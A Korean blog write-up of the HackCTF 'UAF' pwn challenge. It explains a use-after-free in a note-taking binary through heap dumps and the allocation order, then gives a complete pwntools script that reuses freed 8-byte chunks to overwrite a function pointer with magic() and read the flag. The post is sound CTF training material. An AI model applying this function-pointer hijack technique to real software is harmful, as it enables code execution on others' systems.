HackCTF UAF Write-Up

juuun0·2022년 1월 26일
1
post-thumbnail

Analyze Target

우선 문제의 제목에서 추측할 수 있는 부분은 Heap 취약점 중 하나인 "Use After Free"와 연관되어 있을 것이라는 점이었습니다. 프로그램을 실행할 경우 4개의 메뉴가 display 되는 것을 확인할 수 있었습니다.

root@e60a28c09eb6:~/hackctf/uaf# ./uaf
----------------------
        U-A-F
☆★ 종현이와 함께하는★☆
 ★☆  엉덩이 공부 ☆★
----------------------
 1. 노트 추가
 2. 노트 삭제
 3. 노트 출력
 4. 탈출
----------------------
입력 :

이 중 노트 추가 -> 노트 삭제 -> 삭제된 노트의 index를 인자로 노트 출력을 수행할 경우 Segmentation Fault가 발생하는 것을 보아 index에 대한 처리와 관련하여 취약점이 있을 것으로 예상할 수 있었습니다.

----------------------
        U-A-F
☆★ 종현이와 함께하는★☆
 ★☆  엉덩이 공부 ☆★
----------------------
 1. 노트 추가
 2. 노트 삭제
 3. 노트 출력
 4. 탈출
----------------------
입력 :3
Index :0
Segmentation fault

Ghidra를 통한 decompile 결과는 추가, 삭제, 출력이 각각 add_note(), del_note(), print_note() 함수에 정의되어 있었으며 flag를 읽어오는 magic() 함수가 존재하였습니다.

동작에 있어서 특이점으로는 print_note_content() 함수였는데 print_note()가 이를 참조하여 동작하였습니다.

add_note()를 수행할 경우 아래와 같은 형식으로 heap에 저장되는 것을 확인할 수 있었습니다.

0x804c200:	0x0804865b	0x0804c210	0x00000000	0x00000021
0x804c210:	0x74736554	0x48414820	0x00000a41	0x00000000

여기서 핵심은 0x804c200 주소에 저장되어 있는 0x0804865b는 print_note_content() 함수의 주소였는데 +4 주소에 있는 값을 출력하였습니다.


Find Trigger

print_note() 함수는 print_note_content() 함수를 호출하며 진행되므로 만약 print_note_content() 주소가 저장되어 있는 부분을 magic() 함수의 주소로 변조하면 flag를 획득할 수 있을 것이라 생각하였습니다.

어떤 식으로 진행해야 할지는 찾았으나 이후 해당 값을 변조하는데에 어려움이 있었어서 이 부분은 약간의 힌트를 구한 뒤 진행하였습니다.

실제 print_note_content()와 내용의 주소를 가리키는 부분은 별도의 malloc()을 통해서 할당되었단 점을 알 수 있었습니다.

위 내용들을 종합하면 다음과 같이 결론을 내릴 수 있었습니다.

  • add_note()를 실행할 경우 malloc(8)을 실행 후 malloc(size)를 통해 내용을 저장
  • del_note()를 실행할 경우 내용을 저장한 공간을 free() 후 8 byte 공간의 free()를 진행

이를 통해 시나리오를 작성하면 임의의 사이즈 노트 두 개를 생성 후 삭제할 경우 각각의 포인터로 사용했던 8 byte 공간 두 개가 bin에 저장되어 있으므로 size를 8로 지정하여 노트를 추가하면 이들을 제어할 수 있게 됩니다.


Exploit

Memory의 변화에 대해 이해하는 것이 핵심이기에 흐름을 마지막으로 한번 더 정리하였습니다. 별도로 생성되는 8 Byte의 공간을 헤더로 지칭하였습니다.

  1. A 헤더 할당(8 Byte)
  2. A 내용 할당(8 Byte가 아닌 임의의 Size)
  3. B 헤더 할당(8 Byte)
  4. B 내용 할당(8 Byte가 아닌 임의의 Size)
  5. A note free(내용 -> 헤더 순으로 free)
  6. B note free(내용 -> 헤더 순으로 free)

위 과정이 사전 준비에 해당되며 모든 노트의 목록을 관리하는 notelist 배열에는 "A 헤더 주소 - B 헤더 주소" 순으로 저장되어 있습니다.

bin의 경우 헤더를 기준으로 정리하면 "B 헤더 - A 헤더" 순으로 저장되어 있습니다. 이후 8 Byte로 malloc()을 수행할 경우 C 헤더B 헤더의 공간을 재사용하며 C 내용A 헤더의 공간을 재사용합니다.

이후 notelist에 C 헤더 주소가 추가되지만 이전의 A 헤더와 B 헤더는 삭제되지 않은 채로 남아 있습니다. print_note()의 경우 헤더에 저장된 함수 포인터를 기반으로 동작하기에 C 내용을 임의의 함수 주소로 지정할 경우 A 노트의 index에 해당되는 0을 사용하여 동작을 수행할 경우 임의 함수 실행이 가능합니다.

#!/usr/bin/python3
 
 from pwn import *
 
 p = remote("ctf.j0n9hyun.xyz", 3020)
 e = ELF("./uaf")
 
 menu = " :"
 
 # Create 2 Note
 p.sendlineafter(menu, "1")
 p.sendlineafter(menu, "929")
 p.sendlineafter(menu, "Yena's Birthday")
 
 p.sendlineafter(menu, "1")
 p.sendlineafter(menu, "509")
 p.sendlineafter(menu, "Yeju's BirthDay")
 
 # Delete Both Note
 p.sendlineafter(menu, "2")
 p.sendlineafter(menu, "0")
 
 p.sendlineafter(menu, "2")
 p.sendlineafter(menu, "1")
 
 # Spoof Second Note Pointer
 
 p.sendlineafter(menu, "1")
 p.sendlineafter(menu, "8")
 p.sendlineafter(menu, p32(e.symbols['magic']))
 
 # Read Flag
 
 p.sendlineafter(menu, "3")
 p.sendlineafter(menu, "0")
 
 log.info(p.recvline().decode('utf-8'))
profile
To be

0개의 댓글